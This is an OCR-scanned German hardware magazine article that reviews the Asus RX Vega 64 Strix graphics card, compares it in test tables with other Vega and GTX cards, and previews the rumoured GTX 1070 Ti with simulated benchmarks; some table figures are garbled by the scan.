Das erste Vega-Herstellerdesign ist 
gut, aber nicht perfekt. Während 
die anderen AMD-Partner noch 
tüfteln, hat Asus bereits sein Strix- 
Design auf die Erfordernisse des 
Vega-Chips angepasst. Trotz der 
relativ kurzen Entwicklungszeit ha- 
ben die Ingenieure nicht nur den 
Kühler angepasst, sondern auch 
die Platine neu entwickelt. Das ist 
nicht nur anhand der Maße ersicht- 
lich - das Asus-PCB ist 12,7 anstelle 
von 9,9 Zentimeter breit -,sondern 
nach Demontage des Kühlers auch 
am Layout. Anstelle der exotischen 
AMD-Lösung, die die Spannungs- 
wandler um das GPU-Package ver- 
sammelt und somit einen einzigen 
großen Hotspot erschafft, folgt 
Asus der klassischen Reihen-Anord- 
nung neben der GPU. 12+1 Phasen 
stehen im Datenblatt, faktisch han- 
delt es sich um die Hälfte, wobei 
der beliebte Trick der Dopplung 
zum Einsatz kommt, da ansonsten 
ein VRM-Controller nicht genügen 
würde. 


Der Hersteller gibt an, dass das 
Power-Design auf 400 Watt ausge- 
legt ist. Das freut vor allem Über- 
takter, denn ab Werk wird diese 
Leistungsaufnahme nicht erreicht. 
Die Strix Vega darf sich jedoch et- 
was mehr Energie genehmigen als 
die Referenzkarte: Asus steigert 
das der GPU und dem HBM zuste- 
hende Budget um 40 Watt, von 220 
auf 260 (siehe Tabelle auf Seite 2 
dieses Artikels). Eine zusätzliche 
werkseitige Übertaktung findet 
nicht statt, die Firmware entspricht 
zu großen Teilen der Referenzkar- 
te. Wie PCGH aus branchennahen 
Quellen erfuhr, liegt dies an AMD: 
Es fehlen nach wie vor Richtlinien 
zu den möglichen Frequenzen, da- 
her warten viele Hersteller. 


Die großflächige Platine wird voll- 
ständig vom überarbeiteten Kühler 
bedeckt. Anstelle des früheren „Di- 
rectCU*, womit Asus den direkten 
Kontakt der kupfernen Heatpipes 
mit dem Grafikchip bezeichnete, 
ist nun ,Max Contact“ das Motto: 
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Auszug aus Testtabelle 
mit 21 Wertungskriterien 


Hersteller/Webseite 


GTX 1080 Gaming X 8G 
MSI (http://de.msi.com) 


RX Vega 64 Liquid-Cooled-Edition 


Sapphire (www.sapphiretech.com) 


RX Vega 64 Strix O8G 


Asus (www.asus.com/de) 


Ca.-Preis/Preis-Leistungs-Verhältnis 


Ca. € 560,-/ausreichend 


Ca. € 750,-/mangelhaft 


Ca. € 700,- (keine offizielle Angabe; Schätzung!) 


PCGH-Preisvergleich www.pcgh.de/preis/144927 www.pcgh.de/preis/1664784 www.pcgh.de/preis/1664657 
Grafikeinheit; Codename (Fertigung) Geforce GTX 1080; GP104-400-A1 (16 nm) Radeon RX Vega 64; Vega 10 XTX A1 (14 nm) Radeon RX Vega 64; Vega 10 XT A1 (14 nm) 
Shader-ALUs/Textureinheiten/ROPs 2.560/160/64 4.096/256/64 4.096/256/64 


2D-Takt GPU/RAM (Spannung) 


215/405 MHz (0,625 VGPU) 


26-42/167 MHz (0,762V VGPU) 


26-40/167 MHz (0,762V VGPU) 


3D-Basis-/Boosttakt GPU/RAM (Übertaktung) 


1.683 (Boost: 1.886+)/1.25 


MHz (49/0 % OC) 


1.520-- (max. Boost: 1.750)/945 MHz 


1.410 (max. Boost: 1.630)/945 MHz 


Ausstattung (20 %) 223 2,35 2,15 

Speichermenge/Anbindung 8.192 MiByte (256 Bit) 8.192 MiByte (2.048 Bit) 8.192 MiByte (2.048 Bit) 

Speicherart/Hersteller 10-Gbps-GDDR5X (Micron 6HA77 79ТХТ) High Bandwidth Memory gen2 (, HBM2", Samsung) High Bandwidth Memory gen2 („HBM2”, Samsung) 

Monitoranschlüsse 3 x Displayport 1.4a, 1 x HDMI 2.0b, 1 x DVI-D 3 x Displayport 1.4a, 1 x HDMI 2.0b 2 x Displayport 1.4a, 2 x HDMI 2.0b, 1 x DVI-D 

Kühlung Twin Frozr VI, Dual-Slot, 6 Heatpipes (1 x 8 mm, 5 x 6 mm), 2 x | Referenzdesign: All-in-one-Fluidkühlung mit Single-Radiator Eigendesign, 2,5-Slot, 6 Heatpipes à 6 mm, 3 x 90 mm axial, Ra- 
95 mm axial, VRM-/RAM-Kühler + Backplate (ohne Pads) (120 mm); VRM-/RAM-Kühler + Backplate diator bedeckt Spannungswandler; Backplate (o. Wärmeleitpads) 

Software/Tools/Spiele Afterburner & Gaming App (Tweak-Tools), Treiber = GPU Tweak II (Tweak-Tool), Treiber, Software 

Handbuch; Garantie Faltblatt (deutsch); 3 Jahre Faltblatt (deutsch); 2 Jahre Faltblatt (deutsch); 3 Jahre 

Kabel/Adapter/Beigaben Aufkleber - 1 x Strom: 2x6-auf-8-Pol; Kabelbinder (Stoff) 

Sonstiges Custom-PCB mit 10 Phasen; ausgelesene TDP: 240 Watt; Lüfter | Getestet mit , Balanced"-Setting im Treiber; Dual-BIOS; Getestet mit , Balanced"-Setting; Dual-BIOS; Spannungsmess- 
drehen ab -63 °C LED-Schalter; Zero Core; Temp. Target 65 °C, Board Power 345W | punkte; Fan Connect Il, Temp. Target 78 °C, Board Power -340W 

Eigenschaften (20 %) 2,16 2,34 2,36 

Temperatur GPU (2D-Leerlauf/Spiel/Extremfall) 45/74/74 Grad Celsius 27/65/65 Grad Celsius 37/80/80 Grad Celsius 


Lautheit (+PWM) aus 50 cm (2D/Spiel/Extremfall) 


0,0 (passiv)/2,3 (59 %)/2,3 (59 %) Sone 


0,3 (15 %)/1,8 (53 %)/1,9 (54 %) Sone 


0,0 (passiv)/3,4 (55 %)/3,7 (57 %) Sone 


Spulenpfeifen/-zirpen (unter Last) 


Normal (leises Zirpen in Spielen; Fiepen ab dreistelligen Fps) 


Normal (leises Zirpen in Spielen; Fiepen ab dreistelligen Fps) 


Normal (leises Zirpen in Spielen; Fiepen ab dreistelligen Fps) 


Gemessener Verbrauch 2D/UHD-Video/2 LCDs 


13/15/14 Watt 


19/29/19,5 Watt 


12/21/12,5 Watt 


Verbrauch Crysis 3/Anno 2070/Extremfall 


192/235/245 Watt (Powertarget: 100 Prozent) 


352/355/357 Watt (Powertarget: 100 Prozent) 


313/318/318 Watt (Powertarget: 100 Prozent) 


Maximale GPU-Übertaktung (UHD-stabil) 


~2.050 MHz mit 100 % Power/Voltage/Fan 


71.750 MHz mit 100 % Power/Voltage/Fan 


21.650 MHz mit 100 % Power/Voltage/Fan 


Maximale RAM-Übertaktung (UHD-stabil) 


5.400 MHz mit 100 % Power/Voltage/Fan 


71.100 MHz mit 100 % Power/Voltage/Fan 


-1.100 MHz mit 100 % Power/Voltage/Fan 


Spannungs-/Power-Änderung in Tools möglich? 


Ja (GPU bis 100 %; Powerlimit bis 121 % = 291W) 


Ja (GPU/RAM-Controller bis 1,25 Volt), Powerlimit bis +50 96 


Ja (GPU/RAM-Controller bis 1,20 Volt), Powerlimit bis +50 % 


Länge/Breite der Karte; Stromstecker 
Leistung im PCGH-Index (60 %) 


FAZIT 


170 


54 PC Games Hardware | 12/17 


27,7 (PCB: 27,7x12,7)/3,5 cm; 1 x 8-/1 x 6-Pol (vertikal) 


© Powerlimit erlaubt freies Übertakten 
© 3 Betriebsmodi via Gaming App 
© Relativ hoher Verbrauch 


Wertung: 1,90 


27,2 (PCB: 26,7x9,9)/3,5 cm; 2 x 8-Pol (vertikal) 
1,84 

© Schnellste Radeon am Markt 

© Leiser, starker Kühler 

© Sehr hohe Leistungsaufnahme 


Wertung: 2,0: 


30,0 (PCB: 28,0x12,7)/4,7 cm; 2 x 8-Pol (vertikal) 
1,95 

© Erstes Vega-Herstellerdesign 

© Leiser und schneller als Referenzkarte 

© Hohe Leistungsaufnahme unter Last 


Wertung: 2,07 
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Eine Kupferbodenplatte verteilt die 
Hitze des Vega-Chips nebst HBM an 
die darüberliegenden Heatpipes, 
welche sechsfach vorhanden und 
jeweils sechs Millimeter dick sind. 
Löblich ist, dass Asus nach dem 
Sandwich-Ausflug bei der GTX 
1080 Ti Strix hier wieder auf einen 
einzigen Kühlblock setzt: Der Ra- 
diator nimmt direkten Kontakt zu 
den Spannungswandlern auf (mit 
Wärmeleitpads dazwischen), 
dass sich deren Hitze großflächig 
verteilen kann. Bei der GTX 1080 
Ti war eine dicke Metall-Frontplatte 
dazwischen, welche die Hitze nicht 
optimal weiterleitete. 


SO- 


Belüftet wird das 2,5-Slot-Konst- 
rukt (4,7 Zentimeter ab PCB) von 
drei jeweils 90 Millimeter durch- 
messenden Axiallüftern. Diese ste- 
hen im Leerlauf und bei Niedriglast 
still, sodass die Strix Vega lautlos 
arbeitet. Wird die Karte Last aus- 
gesetzt, steigt die GPU-Temperatur 
an. Der Schwellenwert, ab dem die 
Lüfter ihre Arbeit aufnehmen, liegt 


bei relativ niedrig angesetzten 52 
°C. Die Steuerung folgt dabei dem 
Präventionsprinzip aller aktuellen 
Radeon-Grafikkarten: In den ersten 
Minuten unter Last wird die Lüfter- 
drehzahl hochgetrieben, um einen 
raschen Anstieg der Temperatur zu 
vermeiden, und in den folgenden 
Minuten flacht die Kurve wieder 
ab. Die höchste Lautheit wird so- 
mit nicht bei langen Spielesitzun- 
gen erreicht, sondern direkt zum 
Start - es sei denn, das Gehäuse 
verfügt über keinerlei Belüftung, 
dann müssen die Lüfter ihr Niveau 
wieder anheben. 


Wir messen bei der Asus Vega 64 
Strix O8G eine maximale Lautheit 
von 3,4 Sone (55 % Laufleistung, 
rund 1.900 U/Min). In den meis- 
ten Szenarien arbeiten die drei 
Propeller mit weniger als 50 Pro- 
zent Ansteuerung und somit unter 
1.700 U/Min, was zu einer mittle- 
ren Lautheit zwischen 2,0 und 2,5 
Sone führt. Insgesamt ist die Strix 
deutlich aus einem geschlossenen 


Gehäuse herauszuhóren, allerdings 
im Mittel wesentlich leiser als die 
AMD-Referenzkarte (Air), welche 
mit bis zu 4,9 Sone rauscht. Die RX 
Vega 64 Strix erreicht dabei dank 
der großen Kühlfläche ein besse- 
res Verhältnis aus Temperatur und 
Lautheit: Schlimmstenfalls werden 
80 °C erreicht, sechs Kelvin weni- 
ger als bei der AMD-Karte. 


Auch in puncto Spieleleistung 
schlägt Asus die AMD-Vorlage, man- 
gels werkseitiger Übertaktung aber 
nur knapp. Während der maximal 
nutzbare Boost unverändert bei 
1.630 MHz steht, kann sich die Strix 
wegen des erhöhten Powerlimits 
besser ausreizen. Unter Spielelast 
bewegt sich die Frequenz stets zwi- 
schen 1.410 (Anno 2070) und 1.480 
MHz (Crysis 3); die Referenzkarte 
fällt in der Regel 50 MHz tiefer. An- 
gesichts dieser Zahlen verwundert 
unser Fazit, dass die Differenz von 
ein bis drei Prozent nicht fühlbar 
ist, keineswegs. Stórender ist die 
sich daraus ergebende Energieeffi- 


zienz: Die Strix verbraucht in unse- 
ren Spielemessungen zwischen 313 
und 318 Watt (Referenz: 288/289) 
und ist somit minimal ineffizien- 
ter. Beim Übertakten schlägt sich 
das Asus-Design hingegen besser 
- mehr als 1.650 MHz bei höchst- 
möglichem Powerlimit sind unter 
Volllast nicht realistisch, da der 
fließende Strom limitiert. Unser 
Muster verkraftet 1.100 MHz HBM- 
Takt (+16 %), was die größten Fps- 
Zuwächse bringt. (ru) 


Fazit Нагйшаге 


RX Vega 64: Die stàrksten Modelle 
Auf der Suche nach der schnellstmög- 
lichen Radeon RX Vega führt kein Weg 
an der Liquid-Cooled-Edition vorbei. 
Diese ist außerdem leise und hochwer- 
tig verarbeitet — aber teuer und nicht 
mehr flächendeckend lieferbar. Asus’ 
Strix, das erste Vega-Herstellerdesign, 
verbessert die luftgekühlte Vorlage in 
fast allen Punkten. Die mit Abstand 
effizienteste Vega ist derweil die 56er. 
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Auszug aus Testtabelle 
mit 21 Wertungskriterien 


Produkt 
Hersteller/Webseite 


GTX 1070 Strix 08G 


Asus (www.asus.com/de) 


RX Vega 64 (Limited Edition) 


AMD (www.amd.com/de) 


RX Vega 56 


AMD (www.amd.com/de) 


Ca.-Preis/Preis-Leistungs-Verhältnis 


Ca. € 490,-/ausreichend 


Ca. € 610,-/mangelhaft 


Са. € 


500,-/ausreichend 


PCGH-Preisvergleich www.pcgh.de/preis/1450613 


www.pcgh.de/preis/1664779 


WWW. 


pcgh.de/preis/1682126 


Grafikeinheit; Codename (Fertigung) 


Geforce GTX 1070; GP104-200-A1 (16 nm) 


Radeon RX Vega 64; Vega 10 XT A1 (14 nm) 


Radeon RX Vega 56; Vega 10 XL A1 (14 nm) 


Shader-ALUs/Textureinheiten/ROPs 


1.920/15/120 


4.096/256/64 


3.584/224/64 


2D-Takt GPU/RAM (Spannung) 


278/405 MHz (0,625 VGPU) 


26-53/167 MHz (0,775V VGPU) 


26-53 


/167 MHz (0,7813 VGPU) 


3D-Basis-/Boosttakt GPU/RAM (Übertaktung) 
Ausstattung (20 %) 
Speichermenge/Anbindung 


2,18 


1.633 (Boost: 1.911+)/4.007 MHz (+14/0 % ОС) 


8.192 MiByte (256 Bit) 


1.370+ (max. Boost: 1.630)/945 MHz 
2,48 
8.192 MiByte (2.048 Bit) 


2,48 
8.192 


1.250+ (max. Boost: 1.590)/800 MHz 


MiByte (2.048 Bit) 


Speicherart/Hersteller 


8-Gbps-GDDR5 (Samsung K4G80325F8-HC25) 


High Bandwidth Memory gen2 (, HBM2", Samsung) 


High Bandwidth Memory gen2 (, HBM2") 


Monitoranschlüsse 


2 x Displayport 1.4a, 2 x HDMI 2.0b, 1 x DVI-D 


3 x Displayport 1.4a, 1 x HDMI 2.0b 


3 x Di 


isplayport 1.4а) 1 x HDMI 2.0b 


Temperatur GPU (2D-Leerlauf/Spiel/Extremfall) 


41/63/63 Grad Celsius 


36/84/84 Grad Celsius 


Kühlung Direct CU 3, Dual-Slot, 5 Heatpipes (4 x 8, 1 x 6 mm), Referenzdesign (DHE), Dual-Slot, Vollverschalung (eloxiertes Referenzdesign (DHE), Dual-Slot, schwarze Vollverschalung 
3 x 90 mm axial, VRM-/RAM-Kühler & Backplate (ohne Pads) — |Aluminium) inkl. 75-mm-Radiallüfter & Backplate inkl. 75-mm-Radiallüfter & Backplate 

Software/Tools/Spiele GPU Tweak II (Tweak-Tool), Treiber, Software - - 

Handbuch; Garantie Faltblatt (deutsch); 3 Jahre 2 Jahre 2 Jahre 

Kabel/Adapter/Beigaben Kabelbinder (Stoff); Code für World of Warships - - 

Sonstiges Custom-PCB mit 6+1 Wandlern; ausgelesene TDP: 166 Watt; Getestet mit , Balanced"-Setting (max. 2.400 U/Min); Dual-BIOS; | Getestet mit , Balanced" -Setting (max. 2.400 U/Min); Dual-BIOS; 
Lüfter drehen ab -57 °C; 2 Lüfteranschlüsse am Heck LED-Schalter; Zero Core; Board Power 295W LED-Schalter; Zero Core; Board Power 210W 

Eigenschaften (20 %) 1,96 2,46 2,28 


37/76/76 Grad Celsius 


Lautheit (+PWM) aus 50 cm (2D/Spiel/Extremfall) 


0,0 (passiv)/1,8 (43 %)/1,8 (43 96) Sone 


0,2 (16 %)/4,9 (50 %)/4,9 (50 %) Sone 


0,2( 


4 %)/4,9 (49 %)/4,9 (49 %) Sone 


Spulenpfeifen/-zirpen (unter Last) 


Normal (leises Zirpen in Spielen; Fiepen ab dreistelligen Fps) 


Normal (leises Zirpen in Spielen; Fiepen ab dreistelligen Fps) 


Normal 


(Zirpen in Spielen; Fiepen ab dreistelligen Fps) 


Gemessener Verbrauch 2D/UHD-Video/2 LCDs 


8/11/9,5 Watt 


14,5/26/15 Watt 


15/26/15,5 Watt 


Verbrauch Crysis 3/Anno 2070/Extremfall 


162/166/167 Watt (Powertarget: 100 Prozent) 


288/289/290 Watt (Powertarget: 100 Prozent) 


216/2 


16/218 Watt (Powertarget: 100 Prozent) 


Maximale GPU-Übertaktung (UHD-stabil) 


~2.100 MHz mit 100 % Power/Voltage/Fan 


— 1.650 MHz mit 100 % Power/Voltage/Fan 


71.700 MHz mit 100 % Power/Voltage/Fan 


Maximale RAM-Übertaktung (UHD-stabil) 


4.800 MHz mit 100 % Power/Voltage/Fan 


-1.100 MHz mit 100 % Power/Voltage/Fan 


-950 


Hz mit 100 % Power/Voltage/Fan 


Spannungs-/Power-Änderung in Tools möglich? 


Ja (GPU bis 100 %; Powerlimit bis 120 % = 200W) 


Ja (GPU/RAM-Controller bis 1,20 Volt), Powerlimit bis +50 96 


Ja (GPU/RAM-Controller bis 1,20 Volt), Powerlimit bis +50 96 


Länge/Breite der Karte; Stromstecker 
Leistung im PCGH-Index (60 %) 


FAZIT 


2,14 
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29,9 (PCB: 28,6x11,8)/3,5 cm; 1 x 8-Pol (vertikal) 


© Leiser Dual-Slot-Kühler 
© Hohe Energieeffizienz 
© Geringes Maximal-Powerlimit 


Wertung: 2,11 


26,7 (PCB: 26,7x9,9)/3,5 cm; 2 x 8-Pol (vertikal) 

2,01 

© Limited Edition mit hochwertigem, silbernen Kühler 
© Hitze entweicht aus dem Gehäuse 

© Langsamer als GTX 1080 Founder's Edition 


26,7 ( 
2,30 


Wertung: 2,19 


СВ: 26,7х9,9)/3,5 cm; 2 x 8-Pol (vertikal) 


© Gute Energie-Effizienz 
© Etwas schneller als GTX 1070 FE 
© Unnötig laute Belüftung 


Wertung: 2,33 
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Die GTX 1070 Ti kommt! 


Kurz vor Redaktionsschluss wurde klar, dass Nvidia Anfang November die Geforce GTX 1070 mit 


Titanium-Anhàngsel veröffentlichen wird. Ein Überblick. 


röhliche Spatzen piffen es im 
F goldenen Oktober von allen 
Dächern: Die Geforce GTX 1070 Ti 
ist im Anmarsch. Die stets gut infor- 
mierte Gerüchteküche im Internet 
vermeldete, dass der Startschuss 
am 26. Oktober fallen solle - nicht 
für Tests, wohl aber für Bilder, Vi- 
deos und erste Eindrücke. Verfüg- 
barkeit sei für den 2. November an- 
visiert, dem Erstverkaufstag dieser 
PCGH-Ausgabe. 


Da Nvidia bis zum Redaktions- 
schluss am 18. Oktober die Ge- 
rüchte weder bestätigen noch de- 
mentieren wollte, haben wir uns 
umgehört und die verfügbaren 
Daten aufbereitet. Dieser Artikel 
basiert somit auf Gerüchten, sie 
muten jedoch realistisch genug an, 
um eine Prognose zu wagen. 
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Mehr GTX 1080 als 1070 

Aus Spielersicht betrachtet, ist Nvi- 
dias Angebot vollständig: Die Ge- 
force GTX 1060 6GB bedient die 
Mittelklasse (ab ca. 270 Euro), wäh- 
rend anspruchsvollere Spieler zu 
den nächstteureren Modellen GTX 
1070 (ab ca. 400 Euro) und GTX 
1080 (ab ca. 500 Euro) greifen kön- 
nen. Das Preis-Leistungs-Verhältnis 
fällt stets ähnlich aus. 


Glaubt man den Gerüchten, wird 
weder die GTX 1070 noch die GTX 
1080 aufs Abstellgleis geschoben. 
Die GTX 1070 Ti wird somit keine 
der beiden ersetzen, sondern sich 
in die enge Nische dazwischen 
quetschen. Die ins Internet gelang- 
ten Daten zur GTX 1070 Ti stützen 
diese Idee, wobei die neue Nvidia- 
Karte näher an die GTX 1080 als an 


die GTX 1070 heranreicht. Verant- 
wortlich dafür ist die Rohleistung 
des Kerns: Nvidia wird voraussicht- 
lich einen nur leicht beschnitte- 
nen GP104-Prozessor installieren, 
welcher mit 2.432 arithmetisch- 
logischen Rechenwerken arbeitet. 
Gegenüber der GTX 1080 mit ihren 
2.560 ALUs entspricht das einem 
Malus von lediglich fünf Prozent, 
wobei weiterhin die Taktrate in 
die Rechnung einfliefst. Hier wird 
es besonders Man 
munkelt, Nvidia verbiete es seinen 
Partnern, werkseitig übertaktete 
Varianten der GTX 1070 Ti zu veróf- 
fentlichen, um die GTX 1080 nicht 
zu gefáhrden. Stattdessen soll der 
Boost-Table, in dem die Taktraten 
bis hinauf zu 1,9 bis 2,0 GHz hin- 
terlegt sind, künstlich beschnitten 
worden sein, damit der Takt im Be- 


interessant: 


reich der vorgesehenen 1.683 MHz 
bleibt (= typischer Boost). Das ist 
die gleiche Frequenz wie bei der 
GTX 1070 Founder's Edition, wäh- 
rend die GTX 1080 FE mit einem 
typischen Boost von 1.733 MHz ar- 
beitet. Die Hersteller wären bei der 
GTX 1070 Ti folglich gezwungen, 
mit anderen Tugenden als werksei- 
tig erhóhter Leistung zu punkten. 
Ein starker Kühler kann helfen, den 
Boost minimal weiter oben zu hal- 
ten als bei heißen Karten, fühlbar 
ist diese Maßnahme jedoch nicht. 
Die meisten Nvidia-Partner werden 
sich daher - und das ist nun reine 
Spekulation unsererseits - auf Ver- 
nunftversionen beschränken, die 
einen Spagat aus guter Leistung 
und Profitabilität erreichen. Das 
letzte Quäntchen Leistung und 
Silent-Potenzial würde den Preis 
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Geforce GTX 1070 Ti: Technische Daten im Vergleich 


Grafikkarte Titan Xp Geforce GTX Geforce GTX Geforce GTX Geforce GTX | Radeon RX Vega | Radeon RX Vega Radeon RX 
1080 Ti 1080 1070 Ti * 1070 64 Liquid 64 Air Vega 56 

Codename GP102-450-A1 | GP102-350-K1-A1 | GP104-400-A1 GP104-300-A1 GP104-200-A1 Vega 10 XIX A1 Vega 10 XT A1 Vega 10 XL A1 
Kühlsystem DHE-Luftkühler DHE-Luftkühler DHE-Luftkühler | Nur Partnerdesigns | DHE-Luftkühler | AiO-Fluidkühlung | DHE-Luftkühler DHE-Luftkühler 
Fertigungsverfahren 16 nm (FinFET) 16 nm (FinFET) 16 nm (FinFET) 16 nm (FinFET) 16 nm (FinFET) 14LPP (FinFET) 14LPP (FinFET) 14LPP (FinFET) 
DX-12-Feature-Level 12_1 12_1 12_1 12 1 12.1 12.1 12.1 12 1 
Chipgröße (reiner Die) 471 mm? 471 mm? 314 mm? 314 mm? 314 mm? 486 mm? 486 mm? 486 mm? 
Transistoren Grafikchip (Mio.) 12.000 12.000 7.200 1.200 7.200 12.500 12.500 12.500 
Shader-/SIMD-/Textureinheiten 3.840/30/240 3.584/28/224 2.560/20/160 2.432/19/152 1.920/15/120 4.096/64/256 4.096/64/256 3.584/64/224 
Raster-Endstufen (ROPs) 96 88 64 64 64 64 64 64 
GPU-Basistakt (Megahertz) 1.480 1.480 1.607 1.607 1.506 1.406 1.247 1.156 
Typischer GPU-Boost (MHz) 1.582 1.582 1.733 1.683 1.683 1.677 1.546 1471 
Maximaler GPU-Boost (MHz) -1.900 *** -1.900 *** -1.900 *** Unbekannt -1.900 *** 1.750 1.630 1.590 
Rechenleistung SP/DP (Mio./s) ** 12.150/380 11.340/354 8.873/271 8.186/256 6.463/202 13.738/859 12.665/792 10.544/659 
Durchsatz Pixel/Texel (Mrd./s) ** 151,9/379,7 141,7/354,1 110,9/277,3 102,3/255,8 101,0/202,0 107,3/429,3 98,9/395,8 94,1/329,5 
Speicheranbindung (Bit) 384 352 256 256 256 2.048 2.048 2.048 
Geschw. Grafikspeicher (GT/s) 11,4 11,0 10,0 8,0 8,0 1,89 1,89 1,6 
Speichertyp GDDR5X GDDR5X GDDR5X GDDR5 GDDR5 HBM gen2 HBM gen2 HBM gen2 
Speicherübertragung (GB/s) 547,6 484,0 320,0 256,0 256,0 483,8 483,8 409,6 
Übliche Speichermenge (MiB) 12.288 11.264 8.192 8.192 8.192 8.192 8.192 8.192 
PCI-Express-Stromanschlüsse je 1 x 6-/8-polig | je 1 x 6-/8-polig 1 x 8-polig 1 x 8-polig 1 x 8-polig 2 x 8-polig 2 x 8-polig 2 x 8-polig 
Typische Leistungsaufnahme <250 Watt <250 Watt <180 Watt vmtl. «180 Watt 150 Watt «345 Watt «295 Watt «210 Watt 
Bemerkungen: *Inoffizielle, wenn auch wahrscheinliche Spezifikationen **Anhand des typischen Boosts *** Von Grafikkarte zu Grafikkarte unterschiedlich, aber stets auf diesem Niveau 


nämlich auf 1080-Niveau hieven. 
Andererseits kann eine hochge- 
züchtete Ti auch interessant sein, 
denn ein starker Kühler ebnet ei- 
ner manuellen Übertaktung den 
Weg. Ambitionierte Tuner könnten 
den Kern leise auf 2,1 GHz treiben, 
damit die Leistung einer werkseitig 
übertakteten GTX 1080 erhalten 
und ein paar Euros sparen. 


GDDR°5 statt GDDR5X 
Apropos sparen: Es gilt als si- 
cher, dass die GTX 1070 Ti mit 
GDDRS5-Speicher arbeiten wird. 
Somit behält die GTX 1080 ihr Al- 
leinstellungsmerkmal unter den 
GP104-Karten, den GDDR5X-RAM. 
Während die Kapazität von 8 GiBy- 
te unumstößlich ist, waren sich die 
Gerüchteköche im Oktober noch 
nicht einig darüber, ob die neue 
Ti mit 8 oder 9 Gigatransfers pro 
Sekunde (GT/s) arbeiten wird. Die 
Tendenz geht jedoch klar in Rich- 
tung 8, aus denselben Gründen wie 
bei der GPU: Schneller Speicher ist 
teuer und gräbt der GTX 1080 das 
Wasser ab. 


Simula-Ti-on 

Unter dem Strich ist die GTX 1070 
Ti somit die Weiterentwicklung 
dessen, was die Boardpartner seit 
Mitte 2016 anbieten, mit einer Leis- 
tung besonders stark übertakteter 
GTX-1070-Karten. Diese Erkennt- 
nis macht es uns möglich, Ihnen 
einen Mehrwert abseits der theo- 
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retischen Zahlenspiele zu bieten. 
Eines ist jedoch von notwendig: 
Wie hoch muss eine GTX 1070 
takten, um die Rohleistung einer 
GTX 1070 Ti mit ihrem typischen 
Boost auf 1.683 MHz zu erreichen? 
Mit sportlichen 2.132 MHz. Um das 
zu erreichen, haben wir eine be- 
sonders taktfreudige Karte aus un- 
serem Archiv eingebaut, die Asus 
GTX 1070 Strix O8G. Der nächstge- 
legene Boost-Schritt liegt bei 2.126 
MHz, womit 8.164 GFLOPS erreicht 
werden. Den Speichertakt belassen 
wir bei 4.007 MHz alias 8 GT/s. 


Derart konfiguriert, erreicht eine 
GTX 1070 beinahe punktgenau 
die Rohdaten einer GTX 1070 Ti. 
Da Takt in der Regel besser durch- 
schlägt als zusätzliche Rechenwer- 
ke, arbeitet unsere Simulation ver- 
mutlich minimal schneller als die 
echte, noch nicht verfügbare GTX 
1070 Ti. Aus diesem Grund ver- 
zichten wir darauf, die simulierte 
Grafikkarte durch den PCGH-Leis- 
tungsindex zu scheuchen und ei- 
nen Endwert zu berechnen, der am 
Ende nur virtuell ist. Stattdessen 
servieren wir Ihnen eine Selektion 
PCGH-Spielebenchmarks, 
von denen einige im GPU-Leis- 
tungsindex 2017/2018 vorkommen 
werden. Dabei beschränken wir 
uns nicht nur auf Referenzkarten 


neuer 


und -frequenzen, in einem Teil der 
Tests kommen werkseitige übertak- 
tete Modelle zum Einsatz. 


Palit GTX 1070 Dual: Es ist wahrscheinlich, dass es von dieser Dual-Slot-Karte auch 
eine Ti-Version geben wird. Eine Founder's Edition von Nvidia soll es nicht geben. 


Bild: Palit 


Bild: Zotac 


Zotac GTX 1070 Core Edition: Wir erwarten, dass der Hersteller auch die GTX 1070 Ti 
auf Basis dieses gelungenen Designs auflegen wird. 
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Ergebnisse: Referenzkarten 
Direkt unter diesem Text sehen 
Sie die Benchmarks mit den von 
AMD und Nvidia als typisch be- 
nannten GPU-Boosts. Hier fügt 
sich die simulierte Geforce GTX 
1070 Ti erwartungsgemäß ein, 
nämlich zwischen GTX 1070 und 


Ergebnis: Die GTX 1070 Ti stemmt 
zwar 26 Prozent mehr Arbeit pro 
Zeit als die GTX 1070, erreicht 
in den Benchmarks aber nur ein 
mittleres Leistungsplus von 15 
Prozent. Die größte Differenz ist 
in Doom zu verzeichnen, hier 
beträgt der Abstand satte 22 Pro- 


Last, aber geringen Zusatzverkehr 
beim Speichersubsystem. Das Ge- 
genteil ist bei Sudden Strike 4 der 
Fall, welches wir mit spielinternen 
Supersampling testen. Hier kann 
sich die simulierte GTX 1070 Ti nur 
um acht Prozent von der GTX 1070 
absetzen, was auf ein Limit der 


GTX 1070 Ti ansetzen sollten. Gut 
zu wissen, dass sich der GDDR5- 
Speicher auf GTX-1070-Karten 
(4.007 MHz) ordentlich übertakten 
lässt, die im PCGH-Labor anwesen- 
den Karten verkraften allesamt 
mindestens 4.500 MHz (+12 %), 
manche sogar 4.800 MHz (+20 %). 


GTX 1080. Dabei lohnt sich ein 
Vergleich der Rohdaten mit dem 


zent - die „Nightmare“-Optionen 
erzeugen folglich eine hohe GPU- 


Speichertransferrate hindeutet. 


Somit ist klar, wo Übertakter der 


Zum Vergleich: Der GDDR5X auf 
GTX-1080-Grafikkarten arbeitet 


Leistung: 8-GiByte-Grafikkarten unter sich (WQHD) 


Doom (Vulkan), Nightmare-Preset, TSSAA 8TX/16:1 AF - „Devil's Dance" 


Radeon RX Vega 64/8G X8 E 136,5 (+47 %) 
Geforce GTX 1080/8G Egg pus 121,8 (+31 %) 
Radeon RX Vega 56/8G Ve 113,7 (+22 96) 
Geforce GTX 1070 T/8G * ET ШЕШЕН 113,5 (+22 %) 
Geforce GTX 1070/8G t ШЕШШ 93,0 (Basis) 


Prey, SMAA 2TX/16:1 AF — „Hardware Labs" 


Radeon RX Vega 64 LCE/8G Egg 101,1 (+31 96) 
Geforce GTX 1080/8G gg 95,9 (+24 96) 
Radeon RX Vega 64/8G gn 93,9 («21 96) 
Geforce GTX 1070 Ti/8G ^ PE ИШ 86,8 (+12 96) 
Radeon RX Vega 56/8G Een! 80,4 (+4 96) 
Geforce GTX 1070/8G. mt 77,4 (Basis) 
Dirt 4, max. Details, 4x MSAA/16:1 AF - ,, Michigan" 


Radeon RX Vega 64 LCE/8G. egi 75,7 (+56 %) 
Radeon RX Vega 64/8G set 67,4 (+39 96) 
Geforce GTX 1080/8С MEMES 59,5 (+23 96) 
Radeon RX Vega 56/8G Essai 59,0 (+22 90) 
Geforce GTX 1070 Ti/8G * BEER 55,6 (+15 %) 
Geforce GTX 1070/8G MEA] 48,5 (Basis) 


Sudden Strike 4, max. Details, 133 % Aufl. Ingame-AA/16:1 AF - ,Stalingrad" 


Radeon RX Vega 64 LCE/8G. EEE 63,6 (+33 96) 
Geforce GTX 1080/8G. E5811 61,4 (+28 96) 
Radeon RX Vega 64/8G E58] 57,6 (+21 96) 
Geforce GTX 1070 Ti/8G * SI 51,8 (+8 96) 
